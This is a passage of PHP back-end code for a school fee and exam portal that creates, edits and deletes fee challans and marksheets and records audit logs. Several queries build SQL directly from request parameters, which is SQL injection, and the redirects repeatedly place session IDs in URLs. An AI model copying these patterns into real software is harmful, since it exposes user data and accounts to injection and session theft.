				$BeforeUpdate =  $m->get ('eduportal_monthly_challan');


// now update the fee details

	$data = array(

		'tutionfee' => $_REQUEST['tutionfee'],

		'transportfee' => $_REQUEST['transportfee'],

		'balance' => $_REQUEST['balance'],

		'misc_fee' => $_REQUEST['misc_fee'],

		'challan_duedate' => $_REQUEST['challan_duedate'],

		'collected_amount' => $_REQUEST['total_paid'],

		'collected_fine' => $_REQUEST['fine'],

		'paid_again_amount' => $_REQUEST['paid_again_amount'],

		'paying_date' => date('Y-m-d', strtotime($_REQUEST['paid_date'])),

		//'paid_again_date' => date('Y-m-d', strtotime($_REQUEST['paid_again_date'])),

		'disc_amount' => $_REQUEST['disc_amount'],

		'disc_type' => "Percentage"

		);

//print_r($data);

	$m->where ("student_id", $_REQUEST['student']);

	$m->where ("classs_id", $_REQUEST['class_id']);

	$m->where ("month_id", $_REQUEST['month_id']);

	$m->where ("challan_id", $_REQUEST['challan_id']);

	$result = $m->update('eduportal_monthly_challan',$data);



	

	 // now inserting the challan details with other fee parameters


				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("challan_id", $_REQUEST['challan_id']);				

				$old_challan =  $m->get ('eduportal_monthly_challan_details');

				$classID=$old_challan[0]['class_id'];


			/*before we insert new record just delte the old entries */

			$m->where ("challan_id", $_REQUEST['challan_id']);

		    $m->delete('eduportal_monthly_challan_details');

           $fee_types = $m->get("eduportal_fee_types");

	
			foreach ($fee_types as $type) {

				$type_val=$_REQUEST['type'.$type['feetype_id']];


				if($type_val!=""){


		           $data = array(

			          'challan_id' => $_REQUEST['challan_id'],

			          'feetype_id' =>$type['feetype_id'],

			          'fee_amount' => $type_val,

			          'session_id' => $_SESSION['current_session'],

			          'branch_id' => $_SESSION['branch'],

			          'class_id' => $_REQUEST['class_id'],

			          'month_id' => $_REQUEST['month_id'],

			          'student_id' => $_REQUEST['student']

			          );

		          

		           $result = $m->insert('eduportal_monthly_challan_details',$data);

		           $newOthers=$newOthers.$type['feetype_name']." = ".$type_val."<br>";

		           //print_r($data); echo "<br><br>";

		   
				} // ending if

			 } // ending foreach loop



			 // now adding user audit detail


			    

				$oldData = "Monthly Fee = ".$BeforeUpdate[0]['tutionfee'].", Transport Fee = ".$BeforeUpdate[0]['transportfee'].", Previous Balance = ".$BeforeUpdate[0]['balance'].", Misc Fee = ".$BeforeUpdate[0]['misc_fee'].", Challan Duedate = ".$BeforeUpdate[0]['challan_duedate'].", Discount = ".$BeforeUpdate[0]['disc_amount'].", Collected Amount = ".$BeforeUpdate[0]['collected_amount'].", Paying Date = ".$BeforeUpdate[0]['paying_date']."<br>";

			    $newData = "Monthly Fee = ".$_REQUEST['tutionfee'].", Transport Fee = ".$_REQUEST['transportfee'].", Previous Balance = ".$_REQUEST['balance'].", Misc Fee = ".$_REQUEST['misc_fee'].", Challan Duedate = ".$_REQUEST['challan_duedate'].", Discount = ".$_REQUEST['disc_amount'].", Collected Amount = ".$_REQUEST['total_paid'].", Paying Date = ".$_REQUEST['paid_date']."<br>";;
				
				$oldOthers;

				foreach ($old_challan as $oldotherparameter) {
					
			        $m->where("feetype_id", $oldotherparameter['feetype_id']);
			        $FeeName=$m->get("eduportal_fee_types");

			      $oldOthers=$oldOthers.$FeeName[0]['feetype_name']." = ".$oldotherparameter['fee_amount']."<br>";
				}

				//echo $oldOthers;

				//echo $newOthers;

					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");

					$Class_Name=$rec[0]['Class_Name'];


					$m->where ("branch_id", $_SESSION['branch']);
					$m->where("student_id", $_REQUEST['student']);

					$stdName = $m->get("edu_student_details");

					$first_Name=$stdName[0]['first_name'];
					$adm_no=$stdName[0]['ref_no'];
					$roll_no=$stdName[0]['candidate_roll_no'];


					$username=$_SESSION['username'];


					$action="Edit Paid Challan";
	  				$details="Update ".$first_Name." | ".$adm_no." | ".$roll_no." | Challan, <br> Before Update: <br> ".$oldData.$oldOthers."<br> After Update: <br>".$newData.$newOthers ;

//echo $details;

	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);


					//print_r($data);


					$result = $m->insert('eduportal_users_auditlog_detail',$data);







	$_SESSION['fee_updated']=1;

	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id());

		

}





if(($_REQUEST['action']=='ProfileTermTestEdit'))

{


//echo "<pre>"; print_r($_REQUEST); echo "</pre>";		


	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session_id']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section_id']);

	$m->where ("student_id", $_REQUEST['student_id']);

	$records =  $m->delete('eduportal_exam_marksheet');	


// now update the fee details

for($k=0;$k<count($_REQUEST['subject_id']);$k++){	


	/*$data = array(

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section_id'],

		'session_id' => $_REQUEST['session_id'],

		'student_id' => $_REQUEST['student_id'],

		'subject_id' => $_REQUEST['subject_id'][$k],

		'obtained_marks' => $_REQUEST['obtainMarks'][$k],

		'total_marks' => $_REQUEST['totalMarks'][$k],

		'term_id' => $_REQUEST['term_id']

		);

		//echo "<pre>"; print_r($data); echo "</pre>";

	
	$result = $m->insert('eduportal_exam_marksheet',$data);*/



					$b=$_SESSION['branch'];

					$cls=$_REQUEST['class_id'];

					$sec=$_REQUEST['section_id'];

					$ses=$_REQUEST['session_id'];

					$std=$_REQUEST['student_id'];

					$sb=$_REQUEST['subject_id'][$k];

				    $ob=$_REQUEST['obtainMarks'][$k];

					$tm=$_REQUEST['totalMarks'][$k];
				
					$t=$_REQUEST['term_id'];




$qr="insert into eduportal_exam_marksheet (branch_id,class_id,section_id,session_id,student_id,subject_id,obtained_marks,total_marks,term_id) values('$b','$cls','$sec','$ses','$std','$sb','$ob','$tm','$t')";

	// echo $qr."<br>";

	$m->query($qr);



}


$_SESSION['fee_updated']=1;

header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student_id']."&".session_id().session_id().session_id());

		

}





if(($_REQUEST['action']=='GenerateMonthlyChallanPrint'))

{

//print_r($_REQUEST);

$sql = " select std.*, fee.* from  edu_student_details as std, eduportal_student_fee_structure as fee where std.student_id=fee.student_id AND std.status='0' AND std.class_id=fee.class_id AND std.branch_id=".$_SESSION['branch'];


if ($_REQUEST['class_id']!=NULL) {
    $sql .= " AND std.class_id =" . $_REQUEST['class_id']. " ";
}

if ($_REQUEST['session']!=NULL) {
    $sql .= " AND std.session_id =" . $_REQUEST['session']. " AND fee.session_id =" . $_REQUEST['session']. "";
}

//echo $sql;
$WorkAssignListings = $m->query($sql);



$student_balance;
     

      foreach($WorkAssignListings as $WorkAssignListVal)
      { 
      
        // now checking if the challan of this student against the selected details is created just skip them   



$std_id=$WorkAssignListVal['student_id'];
$query=" select * from eduportal_monthly_challan where student_id='$std_id' order by challan_id desc ";
$dueDate = $m->query($query);

    $start_date = strtotime($dueDate[0]['challan_duedate']); 
    $end_date = strtotime(date("Y-m-d"));
    $datediffrence =($end_date - $start_date)/60/60/24;
    //echo $datediffrence;


    
     if($WorkAssignListVal['std_tution_fee']==0){

          continue;
      }



      // check if the challan is already created
  

  $qr = "select * from  eduportal_monthly_challan where branch_id=".$_SESSION['branch'];

  if ($WorkAssignListVal['student_id']!=NULL) {
      $qr .= " AND student_id=" . $WorkAssignListVal['student_id']. " ";
  }

  $qr .= " order by challan_id  desc limit 1";


  $student_challan =  $m->query ($qr);  



   // print_r($student_challan);
  

    if(count($student_challan)>0){
  

      $std_others_total=getFeeAllOtherFee($WorkAssignListVal['student_id'],$student_challan[0]['challan_id'],$m);


        $total=$student_challan[0]['tutionfee']+$student_challan[0]['misc_fee']+$student_challan[0]['transportfee']+$student_challan[0]['collected_fine']+$student_challan[0]['balance']+$std_others_total-$student_challan[0]['disc_amount'];
        //-$student_challan[0]['disc_amount']

        $student_balance=$total-($student_challan[0]['collected_amount']+$student_challan[0]['collected_fine']+$student_challan[0]['paid_again_amount']);
        //echo $total."--b--".$collected_amount;

    }else {
      
        $student_balance=$WorkAssignListVal['std_outstanding_blc'];
    
    } 




    // code to check if the last challan is not paid then add fine to previous balance...
    $std_id=$WorkAssignListVal['student_id'];
    $qr=" select * from eduportal_monthly_challan where student_id='$std_id' order by challan_id desc limit 1";
    $fee_data = $m->query($qr);

    // echo $qr;

    
    $fee_fine;

    if(count($fee_data)>0 && $fee_data[0]['paid_status']==0){

    if($brid[0]['fine_type']=="0" || $brid[0]['fine_type']==0){ 

    $student_balance+=$brid[0]['late_fee_fine'];
  }  else {
    
    $student_balance+= ($datediffrence * $brid[0]['late_fee_fine']);
   }

    } else {
      
    $fee_fine=0;  

    }




    			$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session']);

				$m->where ("classs_id", $_REQUEST['class_id']);

				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("student_id", $WorkAssignListVal['student_id']);				

				$old_challan =  $m->get ('eduportal_monthly_challan');



				$discount=0;

                if($_GET['disc_type']=="Percentage"){
                   $discount=$WorkAssignListVal['std_tution_fee']/100*$_GET['disc_amount'];
                }else {
                  $discount=$_GET['disc_amount'];
                }





				if(count($old_challan)>0){

					continue;

				}else{

					// generating new challan of month 

					$data = array(

					'month_id' => $_REQUEST['month'],

					'session_id' => $_REQUEST['session'],

					'classs_id' => $_REQUEST['class_id'],

					'challan_duedate' => $_REQUEST['duedate'],

					'tutionfee' => $WorkAssignListVal['std_tution_fee'],

					'transportfee' => $WorkAssignListVal['std_transport_fee'],

					'balance' => $student_balance,

					'branch_id' => $_SESSION['branch'],

					'student_id' => $WorkAssignListVal['student_id'],

					'misc_fee' => $WorkAssignListVal['std_misc_fee'],

					'disc_amount' => $discount,

					'disc_type' => $_REQUEST['disc_type']

					);



				  $result = $m->insert('eduportal_monthly_challan',$data);  // data has been inserted with new challan





		          $challan_id= $m->getInsertId();



		         // now inserting the challan details with other fee parameters



		           $fee_types = $m->get("eduportal_fee_types");

				

					foreach ($fee_types as $type) {



						$name=$type['feetype_id'];



						$type_val=$_REQUEST[$name];



						if($type_val!=""){



				           $data = array(

					          'challan_id' => $challan_id,

					          'feetype_id' =>$type['feetype_id'],

					          'fee_amount' => $type_val,

					          'session_id' => $_REQUEST['session'],

					          'branch_id' => $_SESSION['branch'],

					          'class_id' => $_REQUEST['class_id'],

					          'month_id' => $_REQUEST['month'],

					          'student_id' => $WorkAssignListVal['student_id']

					          );

				          

				          //echo "<pre>"; print_r($data); echo "</pre>";



				            $result = $m->insert('eduportal_monthly_challan_details',$data);

				      }// inner if



				  } // closing foreach loop

				          

			

				}// ending else condition










  }




			// now adding user audit detail





					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$username=$_SESSION['username'];



	  				$action="User: ".$username." ,Action: Monthly Challan , Class=".$Class_Name.", Challan No=".$challan_id ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'action' => $action,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



			

		$_SESSION['addsuccess']=1;

		if ($_REQUEST['Vouchers']=='Single Vouchers') {

			$pageSingleVoucher;

		    if($brid[0]['single_all_voucher']!=NULL){
		      $pageSingleVoucher=$brid[0]['single_all_voucher'];
		    }else{
		      $pageSingleVoucher="print_all_vouchers_single.php";  
		    }
			
			header("location:../$pageSingleVoucher?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session']."&section=".$_REQUEST['section']."&month=".$_REQUEST['month']."&fee=".$_REQUEST['fee']."&fee=All");

		} elseif ($_REQUEST['Vouchers']=='Double Vouchers') {
			
			header("location:../print_all_vouchers_db.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session']."&section=".$_REQUEST['section']."&month=".$_REQUEST['month']."&fee=".$_REQUEST['fee']."&fee=All");

		} elseif ($_REQUEST['Vouchers']=='Triple Vouchers') {

			if($brid[0]['triple_all_voucher']!=NULL){
			$page=$brid[0]['triple_all_voucher'];
		}else{
			$page="print_all_voucheres.php";	
		}

			header("location:../$page?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session']."&section=".$_REQUEST['section']."&month=".$_REQUEST['month']."&fee=".$_REQUEST['fee']."&fee=All");

		}

		

}





if(($_REQUEST['action']=='EditChallan'))

{

 //print_r($_REQUEST);


				$m->where ("student_id", $_REQUEST['student']);

				$m->where ("month_id", $_REQUEST['month_id']);

				$m->where ("challan_id", $_REQUEST['challan_id']);

				$m->where ("session_id", $_REQUEST['session']);				

				$BeforeUpdate =  $m->get ('eduportal_monthly_challan');

// now update the fee details



	$discount=0;



    if($_REQUEST['disc_type']=="Percentage"){

       $discount=$_REQUEST['tutionfee']/100*$_REQUEST['disc_amount'];

    }else {

      $discount=$_REQUEST['disc_amount'];

    }





	$data = array(

		'tutionfee' => $_REQUEST['tutionfee'],

		'transportfee' => $_REQUEST['transportfee'],

		'balance' => $_REQUEST['balance'],

		'misc_fee' => $_REQUEST['misc_fee'],

		'challan_duedate' => $_REQUEST['challan_duedate'],

		'disc_amount' => $discount,

		'disc_type' => $_REQUEST['disc_type']

		);

//print_r($data);

	$m->where ("student_id", $_REQUEST['student']);

	//$m->where ("classs_id", $_REQUEST['class_id']);

	$m->where ("month_id", $_REQUEST['month_id']);

	$m->where ("challan_id", $_REQUEST['challan_id']);

	$m->where ("session_id", $_REQUEST['session']);

	$result = $m->update('eduportal_monthly_challan',$data);







	 // now inserting the challan details with other fee parameters

				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("challan_id", $_REQUEST['challan_id']);				

				$old_challan =  $m->get ('eduportal_monthly_challan_details');

				$classID=$old_challan[0]['class_id'];


			/*before we insert new record just delte the old entries */

			$m->where ("challan_id", $_REQUEST['challan_id']);

		    $m->delete('eduportal_monthly_challan_details');


           $fee_types = $m->get("eduportal_fee_types");

		
           $newOthers;
			foreach ($fee_types as $type) {



				$type_val=$_REQUEST['type'.$type['feetype_id']];



				if($type_val!=""){



		           $data = array(

			          'challan_id' => $_REQUEST['challan_id'],

			          'feetype_id' =>$type['feetype_id'],

			          'fee_amount' => $type_val,

			          'session_id' => $_REQUEST['session'],

			          'branch_id' => $_SESSION['branch'],

			          'class_id' => $classID,

			          'month_id' => $_REQUEST['month_id'],

			          'student_id' => $_REQUEST['student']

			          );

		          

		           $result = $m->insert('eduportal_monthly_challan_details',$data);

		           $newOthers=$newOthers.$type['feetype_name']." = ".$type_val."<br>";

		           //print_r($data); echo "<br><br>";

		    

				} // ending if



			 } // ending foreach loop


			 // now adding user audit detail


			    

				$oldData = "Monthly Fee = ".$BeforeUpdate[0]['tutionfee'].", Transport Fee = ".$BeforeUpdate[0]['transportfee'].", Previous Balance = ".$BeforeUpdate[0]['balance'].", Misc Fee = ".$BeforeUpdate[0]['misc_fee'].", Challan Duedate = ".$BeforeUpdate[0]['challan_duedate'].", Discount = ".$BeforeUpdate[0]['disc_amount']."<br>";

			    $newData = "Monthly Fee = ".$_REQUEST['tutionfee'].", Transport Fee = ".$_REQUEST['transportfee'].", Previous Balance = ".$_REQUEST['balance'].", Misc Fee = ".$_REQUEST['misc_fee'].", Challan Duedate = ".$_REQUEST['challan_duedate'].", Discount = ".$_REQUEST['disc_amount']."<br>";
				
				$oldOthers;

				foreach ($old_challan as $oldotherparameter) {
					
			        $m->where("feetype_id", $oldotherparameter['feetype_id']);
			        $FeeName=$m->get("eduportal_fee_types");

			      $oldOthers=$oldOthers.$FeeName[0]['feetype_name']." = ".$oldotherparameter['fee_amount']."<br>";
				}

				//echo $oldOthers;

				//echo $newOthers;

					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");

					$Class_Name=$rec[0]['Class_Name'];


					$m->where ("branch_id", $_SESSION['branch']);
					$m->where("student_id", $_REQUEST['student']);

					$stdName = $m->get("edu_student_details");

					$first_Name=$stdName[0]['first_name'];
					$adm_no=$stdName[0]['ref_no'];
					$roll_no=$stdName[0]['candidate_roll_no'];


					$username=$_SESSION['username'];


					$action="Edit Unpaid Challan";
	  				$details="Update ".$first_Name." | ".$adm_no." | ".$roll_no." | Challan, <br> Before Update: <br> ".$oldData.$oldOthers."<br> After Update: <br>".$newData.$newOthers ;

//echo $details;

	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);


					//print_r($data);


					$result = $m->insert('eduportal_users_auditlog_detail',$data);


			 


	if($_REQUEST['call']=="profile"){

	

	$_SESSION['upsuccess']=1;

	

	header("location:../student_profile.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);

		



	} else {





	$_SESSION['upsuccess']=1;



	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);

	

			

	}



	

}




if(($_REQUEST['action']=='AddCommitment'))

{
 
// now update the fee details


	$data = array(

		
		'commitment' => $_REQUEST['commitment'],

		'commitment_date' => $_REQUEST['commitment_date']

		);



	$m->where ("student_id", $_REQUEST['student']);

	$m->where ("classs_id", $_REQUEST['class_id']);

	$m->where ("month_id", $_REQUEST['month_id']);

	$m->where ("challan_id", $_REQUEST['challan_id']);

	$result = $m->update('eduportal_monthly_challan',$data);

    	

	$_SESSION['upsuccess']=1;



	header("location:../pay_fee.php?".session_id().session_id().session_id().session_id().session_id()."&student=".$_REQUEST['student']."&".session_id().session_id().session_id()."&qr=".$std_name);

	

}



if(($_REQUEST['action']=='GenerateMonthlyChallan'))

{



		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

				$m->where("session_id", $_REQUEST['session_id']);					

				$sessionName = $m->get("edu_session_config");


				$m->where("Month_Id", $_REQUEST['month']);					

				$monthName = $m->get("eduportal_month_config");



			for($i=0;$i<count($_REQUEST['student_id']);$i++){



		   

				$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session_id']);

				$m->where ("classs_id", $_REQUEST['class_id']);

				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("student_id", $_REQUEST['student_id'][$i]);

				

				$old_challan =  $m->get ('eduportal_monthly_challan');




				

				if(count($old_challan)>0){

					continue;

				}else{

					// generating new challan of month 

					$data = array(

					'month_id' => $_REQUEST['month'],

					'session_id' => $_REQUEST['session_id'],

					'classs_id' => $_REQUEST['class_id'],

					'challan_duedate' => $_REQUEST['duedate'],

					'tutionfee' => $_REQUEST['tutionfee'][$i],

					'transportfee' => $_REQUEST['transportfee'][$i],

					'balance' => $_REQUEST['balance'][$i],

					'branch_id' => $_SESSION['branch'],

					'student_id' => $_REQUEST['student_id'][$i],

					'misc_fee' => $_REQUEST['miscfee'][$i],

					'disc_amount' => $_REQUEST['disc_amount'][$i],

					'disc_type' => $_REQUEST['disc_type'][$i]

					);



				  $result = $m->insert('eduportal_monthly_challan',$data);  // data has been inserted with new challan





		          $challan_id= $m->getInsertId();



		         // now inserting the challan details with other fee parameters



		           $fee_types = $m->get("eduportal_fee_types");

				

					foreach ($fee_types as $type) {



						$name=$type['feetype_id']."-".$_REQUEST['student_id'][$i];



						$type_val=$_REQUEST[$name];



						if($type_val!=""){



				           $data = array(

					          'challan_id' => $challan_id,

					          'feetype_id' =>$type['feetype_id'],

					          'fee_amount' => $type_val,

					          'session_id' => $_REQUEST['session_id'],

					          'branch_id' => $_SESSION['branch'],

					          'class_id' => $_REQUEST['class_id'],

					          'month_id' => $_REQUEST['month'],

					          'student_id' => $_REQUEST['student_id'][$i]

					          );

				          

				          //echo "<pre>"; print_r($data); echo "</pre>";



				            $result = $m->insert('eduportal_monthly_challan_details',$data);

				      }// inner if



				  } // closing foreach loop

				          

			

				}// ending else condition



				//echo "<pre>"; print_r($data); echo "</pre>";



		}  // ending loop 



			// now adding user audit detail





					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$username=$_SESSION['username'];
					$year=$sessionName[0]['session_year'];
					$month=$monthName[0]['Month_Name'];


					$action="Create ClassWise Monthly Challan";
	  				$details=" Class=".$Class_Name. " Session =".$year." Month = ". $month. "  Created Date = ".date("Y-m-d") ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);



					//print_r($data);



					$result = $m->insert('eduportal_users_auditlog_detail',$data);



			

		$_SESSION['addsuccess']=1;

		header("location:../view_challan.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session_id']."&section=&month=".$_REQUEST['month']."&duedate=".$_REQUEST['duedate']."&fee=All");

			





}  // main if







if(($_REQUEST['action']=='UpdateMonthlyChallan'))

{

		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";
				

			for($i=0;$i<count($_REQUEST['student_id']);$i++){

				 $id=$_REQUEST['student_id'][$i];
					

					$data = array(

					//'month_id' => $_REQUEST['month'],

					//'session_id' => $_REQUEST['session_id'],

					//'classs_id' => $_REQUEST['class_id'],

					'challan_duedate' => $_REQUEST['duedate'],

					'tutionfee' => $_REQUEST['tutionfee'.$id],

					'transportfee' => $_REQUEST['transportfee'.$id],

					'balance' => $_REQUEST['balance'.$id],

					'branch_id' => $_SESSION['branch'],				

					'misc_fee' => $_REQUEST['miscfee'.$id],

					'disc_amount' => $_REQUEST['disc_amount'.$id]					

					);

//echo "<pre>"; print_r($data); echo "</pre>";

				 $m->where ("month_id", $_REQUEST['month']);

				 $m->where ("session_id", $_REQUEST['session_id']);

				 $m->where ("classs_id", $_REQUEST['class_id']);

				 $m->where ("branch_id", $_SESSION['branch']);

				 $m->where ("student_id", $_REQUEST['studentID'.$id]);

	             $m->update('eduportal_monthly_challan',$data);



/*
		         // now inserting the challan details with other fee parameters



		         $m->where ("month_id", $_REQUEST['month']);

				 $m->where ("session_id", $_REQUEST['session_id']);

				 $m->where ("classs_id", $_REQUEST['class_id']);

				 $m->where ("branch_id", $_SESSION['branch']);

				 $m->where ("student_id", $_REQUEST['studentID'][$i]);				

				 $old_challan =  $m->get ('eduportal_monthly_challan');


				$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session_id']);

				$m->where ("class_id", $_REQUEST['class_id']);

				$m->where ("branch_id", $_SESSION['branch']);

				$m->where ("student_id", $_REQUEST['studentID'.$id]);

			    $m->delete('eduportal_monthly_challan_details');



		           $fee_types = $m->get("eduportal_fee_types");

				

					foreach ($fee_types as $type) {



						$name=$type['feetype_id']."-".$_REQUEST['studentID'][$i];



						$type_val=$_REQUEST[$name];



						if($type_val!=""){



				           $data = array(

					          'challan_id' => $old_challan,

					          'feetype_id' =>$type['feetype_id'],

					          'fee_amount' => $type_val,

					          'session_id' => $_REQUEST['session_id'],

					          'branch_id' => $_SESSION['branch'],

					          'class_id' => $_REQUEST['class_id'],

					          'month_id' => $_REQUEST['month'],

					          'student_id' => $_REQUEST['studentID'][$i]

					          );

				          

				          //echo "<pre>"; print_r($data); echo "</pre>";



				            $result = $m->insert('eduportal_monthly_challan_details',$data);

				      }// inner if



				  } // closing foreach loop

				         			
*/


				//echo "<pre>"; print_r($data); echo "</pre>";



		}  // ending loop 



					

		$_SESSION['addsuccess']=1;

		header("location:../view_challan.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session=".$_REQUEST['session_id']."&section=&month=".$_REQUEST['month']."&duedate=".$_REQUEST['duedate']."&fee=All");

			





}





if(($_REQUEST['action']=='DeleteAllMonthlyChallan'))

{

		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";



				$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session']);

				$m->where ("classs_id", $_REQUEST['class_id']);

				$m->where ("branch_id", $_SESSION['branch']);					

				$classChallanDatas = $m->get("eduportal_monthly_challan");


				foreach ($classChallanDatas as $classChallanData) {
					
				

				$dataInsert = array(

					'old_challan_id' => $classChallanData['challan_id'],

					'month_id' => $classChallanData['month_id'],

					'month_to' => $classChallanData['month_to'],

					'session_id' => $classChallanData['session_id'],

					'classs_id' => $classChallanData['classs_id'],

					'challan_duedate' => $classChallanData['challan_duedate'],

					'collected_amount' => $classChallanData['collected_amount'],

					'paid_again_amount' => $classChallanData['paid_again_amount'],

					'paid_again_date' => $classChallanData['paid_again_date'],

					'paid_again_time' => $classChallanData['paid_again_time'],

					'paid_again_user_id' => $classChallanData['paid_again_user_id'],

					'paid_status' => $classChallanData['paid_status'],

					'paying_date' => $classChallanData['paying_date'],

					'total_fine' => $classChallanData['total_fine'],

					'collected_fine' => $classChallanData['collected_fine'],

					'tutionfee' => $classChallanData['tutionfee'],

					'transportfee' => $classChallanData['transportfee'],

					'balance' => $classChallanData['balance'],

					'branch_id' => $classChallanData['branch_id'],

					'student_id' => $classChallanData['student_id'],

					'sms_status' => $classChallanData['sms_status'],

					'challan_created' => $classChallanData['challan_created'],

					'misc_fee' => $classChallanData['misc_fee'],

					'disc_amount' => $classChallanData['disc_amount'],

					'disc_type' => $classChallanData['disc_type'],

					'paying_time' => $classChallanData['paying_time'],

					'paid_fee_user_id' => $classChallanData['paid_fee_user_id'],

					'paid_by' => $classChallanData['paid_by'],

					'commitment' => $classChallanData['commitment'],

					'commitment_date' => $classChallanData['commitment_date']

					);



				  $result = $m->insert('edu_portal_deleted_challan',$dataInsert);

				   
				   }

				   

				$m->where ("month_id", $_REQUEST['month']);

				$m->where ("session_id", $_REQUEST['session']);

				$m->where ("classs_id", $_REQUEST['class_id']);

				$m->where ("branch_id", $_SESSION['branch']);

			    $m->delete('eduportal_monthly_challan');


			    $m->where("session_id", $_REQUEST['session']);					

				$sessionName = $m->get("edu_session_config");


				$m->where("Month_Id", $_REQUEST['month']);					

				$monthName = $m->get("eduportal_month_config");
	

				//	echo "<pre>"; print_r($data); echo "</pre>";



			    // now adding user audit detail


					$m->where("class_id", $_REQUEST['class_id']);

					$rec = $m->get("edu_class_config");



					$Class_Name=$rec[0]['Class_Name'];

					$username=$_SESSION['username'];
					$year=$sessionName[0]['session_year'];
					$month=$monthName[0]['Month_Name'];

					$action="Deleted ClassWise Monthly Challan";

	  				$details=" Class=".$Class_Name. " Session =".$year." Month = ". $month. "  Deleted Date = ".date("Y-m-d") ;



	  				date_default_timezone_set("Asia/Karachi");



					$data = array(

					'user_id' => $_SESSION['user_id'],

					'module_id' => 14,

					'action' => $action,

					'details' => $details,

					'date' => date("Y-m-d"),

					'month_id' => date('m'),

					'time' => date("h:i:sa"),

					'branch_id' => $_SESSION['branch'],

					);


					//print_r($data);


					$result = $m->insert('eduportal_users_auditlog_detail',$data);

				

		$_SESSION['addsuccess']=1;

		header("location:../view_challan.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&session_id=".$_REQUEST['session']."&month=".$_REQUEST['month']);



}  // main if




if(($_REQUEST['action']=='DeleteTermSubjectMarks'))

{

		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

				   

	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("class_id", $_REQUEST['class_id']);

	$m->where ("section_id", $_REQUEST['section']);

	$m->where ("term_id", $_REQUEST['term_id']);

	$m->where ("subject_id", $_REQUEST['subjects']);	

	$records =  $m->delete ('eduportal_exam_marksheet');

	
	//	echo "<pre>"; print_r($data); echo "</pre>";

				

		$_SESSION['addsuccess']=1;

		header("location:../view_marksheet.php?".session_id().session_id().session_id().session_id().session_id()."&session=".$_REQUEST['session']."&term_id=".$_REQUEST['term_id']."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);



}





if(($_REQUEST['action']=='DeleteUserSalary'))

{
		// echo "<pre>"; print_r($_REQUEST); echo "</pre>";				   

	$m->where ("branch_id", $_SESSION['branch']);

	$m->where ("session_id", $_REQUEST['session']);

	$m->where ("user_id", $_REQUEST['user_id']);

	$m->where ("month_id", $_REQUEST['month']);	

	$records =  $m->delete ('employee_payroll');



		$m->where("user_id", $_REQUEST['user_id']);
		$m->where("branch_id", $_SESSION['branch']);
		$employee_secu=$m->get("edu_user_config");

		$userSecurity=$employee_secu[0]['user_security']-$_REQUEST['Security'];

		$data = array(	

	'user_security' => $userSecurity

	);
	//print_r($data);

	$m->where ("user_id", $_REQUEST['user_id']);
	$m->where("branch_id", $_SESSION['branch']);
	$m->update('edu_user_config',$data);

	
	//	echo "<pre>"; print_r($data); echo "</pre>";				

		$_SESSION['addsuccess']=1;

